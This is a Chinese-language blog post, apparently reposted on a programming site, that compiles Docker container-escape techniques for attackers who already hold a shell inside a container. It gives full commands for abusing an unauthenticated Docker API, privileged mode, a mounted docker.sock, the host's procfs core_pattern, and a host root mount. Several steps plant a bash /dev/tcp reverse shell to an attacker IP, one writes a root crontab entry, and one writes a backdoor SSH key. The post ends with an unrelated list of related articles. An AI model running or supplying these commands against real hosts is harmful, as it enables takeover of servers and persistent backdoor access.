容器-Docker逃逸的各种手法总结!

当涉及到容器技术和应用程序隔离时,Docker是一个被广泛采用的解决方案,其使得应用程序的部署变得更加简单高效。然而,作为攻击者,在实际渗透时,好不容易拿到了一个shell,但是却发现所处的环境在docker容器里面,导致很多常见命令无法执行,这时还是挺难受的。所以,我们对目前网上提到了大部分docker逃逸手法做了汇总复现,希望师傅们在阅读后,碰到此类情况能顺利拿到宿主机的权限。

docker

docker远程API未授权访问逃逸

docker远程api可以执行docker命令,若配置错误将其暴露在公网,攻击者可通过远程调用 Docker API直接管理容器,进而导致逃逸getshell

访问2375端口,如果出现如下页面,即存在docker远程API未授权:

使用如下命令可远程连接docker

    sudo docker -H 192.168.111.20:2375 images

    通过如下命令可以新运行一个容器,将服务器的根目录挂载至/host目录:

    sudo docker -H 192.168.111.20:2375 run -it -v /:/host ubuntu:18.04 /bin/bash

    使用chroot 即可实现逃逸到宿主机

    chroot /host/

    特权模式privileged逃逸

    特权模式逃逸 (Privileged Mode Escape) 是容器安全中最经典、最直接,也是危害最大的逃逸方式之一。如果一个容器以--privileged 参数启动,它几乎拥有了和宿主机(Host)一样的权限。攻击者一旦攻入这个容器,就可以利用这些特权轻松“越狱”,控制整个宿主机。

    执行如下命令,若CapEff值为0000003fffffffff,则证明为特权模式启动:

    cat /proc/self/status | grep CapEff

    CapEff: 0000003fffffffff

    使用fdisk命令列出系统中所有磁盘设备的分区信息:

    fdisk -l

    这里可以看到,/dev/sda5是容器内挂载的宿主机磁盘:

    在容器内挂载宿主机磁盘:

    mkdir /hostmount /dev/sda5 /host

    使用chroot /host即可完成逃逸到宿主机:

    chroot /host

    成功逃逸:

    挂载docker.sock逃逸

    Docker Socket是Docker守护进程监听的Unix域套接字,如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,实现逃逸。

    先创建容器并挂载/var/run/docker.sock文件:

    sudo docker -H 192.168.111.20:2375 run -it \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/bin/docker:/usr/bin/docker \ ubuntu:18.04 /bin/bash

    检查是否存在/var/run/docker.sock文件:

    在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部:

    docker run -it -v /:/host ubuntu:18.04 /bin/bash

    使用chroot /host即可完成逃逸到宿主机:

    挂载宿主机procfs逃逸

    procfs是Linux系统中的伪文件系统,用于动态反映系统进程和组件状态。当容器挂载宿主机的procfs时,若容器内进程具有足够权限(如root权限且未开启user namespace),攻击者可利用procfs中的敏感文件进行操作。从Linux 2.6.19内核版本开始,若core_pattern文件内容以管道符“|”开头,后续内容将被当作用户空间程序或脚本执行。攻击者可通过修改该文件,使进程崩溃时触发宿主机执行恶意脚本,从而实现逃逸。

    使用find命令,如果存在core_pattern文件,则挂载了宿主机的procfs:

    find / -name core_pattern

    在容器内查看是否能修改 core_pattern:如果显示类似 |/usr/share/apport/apport %p %s %c %d %P %E 则有权限修改,具备逃逸条件

    cat /proc/sys/kernel/core_pattern

    寻找容器在宿主机上的绝对路径,主要看upperdir的值:

    cat /proc/mounts | grep docker

    得到路径:

    /var/lib/docker/overlay2/d6df2e92d5b1214013dc8758def5dd7becda7b570cf2d79d0562f55368c027c4/diff

    在容器根目录下创建脚本 /exp.sh,内容为反弹 Shell:

    cat <<EOF > /exp.sh > #!/bin/bash > bash -i >& /dev/tcp/192.168.111.25/9997 0>&1 > EOF

    赋予执行权限

    chmod +x /exp.sh

    将宿主机视角下的脚本路径写入

    echo "|/var/lib/docker/overlay2/d6df2e92d5b1214013dc8758def5dd7becda7b570cf2d79d0562f55368c027c4/diff/exp.sh" > /proc/sys/kernel/core_pattern

    攻击机上开启监听:

    触发崩溃:

    sleep 10 &kill -SIGSEGV $!

    成功获取反弹Shell

    写入Crontab定时任务逃逸

    启动容器时,如果将宿主机的根目录(/)挂载到容器内部的某个目录。由于 Docker 默认以 Root 权限运行,这意味着我们在容器内拥有了对宿主机磁盘文件的全写权限。通过修改宿主机的crontab文件,即可实现从容器到宿主机的控制权转移。

    创建一个特权容器并挂载宿主机根目录

    sudo docker -H 192.168.111.20:2375 run -it -v /:/host --privileged ubuntu:18.04 /bin/bash

    容器内直接向宿主机crontab写入反弹shell命令

    echo '* * * * * root bash -i >& /dev/tcp/192.168.111.25/9998 0>&1' >> /host/etc/crontab

    攻击机启动一个监听:

    nc -lvvp 9998

    成功收到shell:

    写入ssh公钥逃逸

    这个其实跟前面写入定时任务差不多。通过向宿主机的/root/.ssh/authorized_keys写入攻击者的SSH公钥,从而实现免密登录宿主机。

    攻击机生成公钥:

    ssh-keygen -t rsa -b 4096 -C "backdoor@attacker.com" -f ~/.ssh/docker_escape

    查看生成的公钥

    cat ~/.ssh/docker_escape.pub

    创建.ssh目录

    mkdir -p /host/root/.ssh

    设置权限(很重要,必须设置对权限)

    chmod 700 /host/root/.ssh

    写入公钥

    cat >> /host/root/.ssh/authorized_keys << 'EOF'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoor@attacker.comEOF

    设置authorized_keys权限

    chmod 600 /host/root/.ssh/authorized_keys

    确保所有者正确

    chown root:root /host/root/.ssh/authorized_keys

    接下来就可以SSH直接连接宿主机了:

      ssh root@192.168.111.20

      本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1131698.shtml

      如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

      相关文章

      VisionPro之缺陷检测解决策略之七:直接区域灰度判断-CogHistogramTool

      VisionPro之缺陷检测解决策略之七:直接区域灰度判断-CogHistogramTool定位ROI灰度均值后处理 通过判断灰度均值是否超过阈值&#xff0c;判定OK或者NG

      C++计算两个向量之间的三角函数值(sin,cos,tan)

      //计算向量角度 void calculateVectorAngle(double dir1[3], double dir2[3], double* sinVal, double* cosVal, double* tanVal) {// 计算点积double dotProduct 0.0;for (int i 0; i < 3; i){dotProduct dir1[i] * dir2[i];}// 计算向量模长double mag1 0.0;double ma…

      【互联网产品助理的成长之路(7)】需求中止的判断方法

      核心价值评估方面&#xff0c;首先要确认用户痛点真实存在且未被伪需求掩盖&#xff0c;通过用户调研、数据埋点及竞品分析来验证其普遍性与严重性。同时&#xff0c;检查现有方案是否已覆盖需求或通过简单优化即可满足&#xff0c;避免重复造轮子现象的发生。成本效益分析中&a…

      【毕业设计】基于python_CNN卷积神经网络对甜点识别

      博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

      elf 格式 relocation 概念

      author: hjjdebug date: 2026年 01月 08日 星期四 15:12:21 CST descrip: elf 格式 relocation 概念 文章目录1. 查看test 的重定位信息2. .rela.dyn 区与 .rela.plt 区的区别和联系3 概括动态绑定的过程4. 介绍 .rela 结构5. r_info 的type 有多少种?6. 补充: 节区表关于符号…

      给wordpress网站的图片加alt标签

      给wordpress网站的图片加alt标签的几种方法&#xff0c;在实际应用中可以根据自己的需求&#xff0c;调用最适合自己的。 直接输出文章标题(和原来一样&#xff0c;仅作占位&#xff0c;无特殊处理) alt"<?php echo esc_attr( get_the_title() ); ?>" 取“…

      计算机深度学习毕设实战-基于python-CNN卷积神经网络对盆栽识别

      博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

      计算机三级-嵌入式组-考点汇总-嵌入式系统软件

      四、嵌入式系统软件1.硬件抽象层与板级支持包1-1. 硬件抽象层硬件抽象层(HAL)是在操作系统层与硬件之间设置的独立的接口软件层&#xff0c;是所有直接依赖于硬件的软件。对硬件进行抽象&#xff0c;使上层软件开发人员无须关心底层硬件的具体细节和差异&#xff0c;支持上层软…

      【实战案例】火语言RPA获取下拉联想推荐词

      一、案例概述 本案例基于火语言 RPA 可视化流程&#xff0c;实现淘宝首页搜索框下拉联想词的自动抓取&#xff0c;并将结果保存至本地文本文件。适用于快速适配各类带下拉联想词的网页场景。 二、实现逻辑 1、启动内置浏览器并访问淘宝首页&#xff1b; 2、处理页面登录弹窗&…

      2026 年用什么 CMS 做网站更合适?一些实际对比思考

      这几年做网站越来越明显的一个变化是&#xff1a; 建站本身已经不是难点&#xff0c;持续获取搜索流量才是核心问题。 到了 2026 年&#xff0c;选择 CMS 时&#xff0c;单纯“好不好用”已经不够了&#xff0c;更重要的是它是否有利于长期 SEO、内容规模化、以及多站点管理。…

      【行业深度】2025中国酒店业法务数字化转型洞察报告:大型集团如何破解“规模负重”难题?

      研究领域&#xff1a; 企业合规/法律科技/酒店管理核心案例&#xff1a; 某Top级连锁酒店集团 律杏法务云01. 核心摘要 (Executive Summary)在酒店行业加速连锁化、品牌多元化的今天&#xff0c;大型集团正面临“规模不经济”的法务治理陷阱。随着门店突破千家、万家&#xff…

      华为OD技术面真题 - 计算机网络 - 2

      文章目录介绍一下TCP和UDPTCPUDP什么时候选择UDP&#xff0c;什么时候选择TCP&#xff1f;TCP连接为什么要三次握手TCP为什么挥手为什么要分为四步基于TCP和UDP常见协议使用UDP传输数据的系统一定不可靠吗&#xff1f;TCP是如何保证可靠传输介绍一下TCP和UDP TCP TCP(Transmi…

      计算机中的符号是什么意思?

      author: hjjdebug date: 2026年 01月 08日 星期四 12:45:41 CST descrip: 计算机中的符号是什么意思? 文章目录 甲. 什么叫符号?0 下面是测试代码1 用 $ nm test 可列出其所有符号,非常简明2. 用 $ readelf -s test 有对符号更细致的描述.3. 用 $ readelf --dyn-syms test 会…

      深度学习毕设选题推荐:基于python-CNN卷积神经网络对盆栽识别

      博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

      导师严选8个AI论文写作软件,专科生搞定毕业论文+格式规范!

      导师严选8个AI论文写作软件&#xff0c;专科生搞定毕业论文格式规范&#xff01; AI 工具助力论文写作&#xff0c;专科生也能轻松应对 在当今学术写作领域&#xff0c;AI 工具正逐步成为学生和科研工作者的得力助手。尤其是对于专科生而言&#xff0c;面对毕业论文的撰写压力&…

      导师推荐9个一键生成论文工具,自考本科生轻松搞定毕业论文!

      导师推荐9个一键生成论文工具&#xff0c;自考本科生轻松搞定毕业论文&#xff01; AI 工具助力论文写作&#xff0c;自考学生不再焦虑 在当前的学术环境中&#xff0c;越来越多的自考本科生开始借助 AI 工具来辅助完成毕业论文。这些工具不仅能够有效降低 AIGC 率&#xff0c;…

      两句话理解 ElasticSearch 搜索引擎数据库的作用

      一个有两千万商品的商品表&#xff0c;如何提高根据商品名关键字检索商品的效率&#xff0c;搜索引擎数据库 ElasticSearch 一、个人理解 在 MySQL 数据库中有一个商品表&#xff0c;表中有 2 千万个商品数据&#xff0c;现在要根据商品名称关键字&#xff0c;去查找相关的商品…

      程序员必看:Docker+Dify+DeepSeek本地部署大模型+知识库完整教程(含实操,建议收藏)

      本文详细介绍了如何使用Docker、Dify和DeepSeek搭建本地大模型系统。通过安装Docker环境&#xff0c;部署Dify平台&#xff0c;配置DeepSeek和bge-large模型&#xff0c;上传私有知识库&#xff0c;最终创建个性化AI助手。这种本地部署方式能让大模型学习个人专业知识&#xff…

      SnapShot硬盘备份软件:一款小巧强大的德国军工级数据备份方案

      在系统维护、数据迁移和灾难恢复场景中&#xff0c;一款可靠、快速的备份工具至关重要。与Acronis True Image、Ghost等大型商业软件不同&#xff0c;Drive SnapShot​ 以其“小而美”的设计哲学脱颖而出。它用极小的体积实现了专业级备份软件的核心功能&#xff0c;尤其适合技…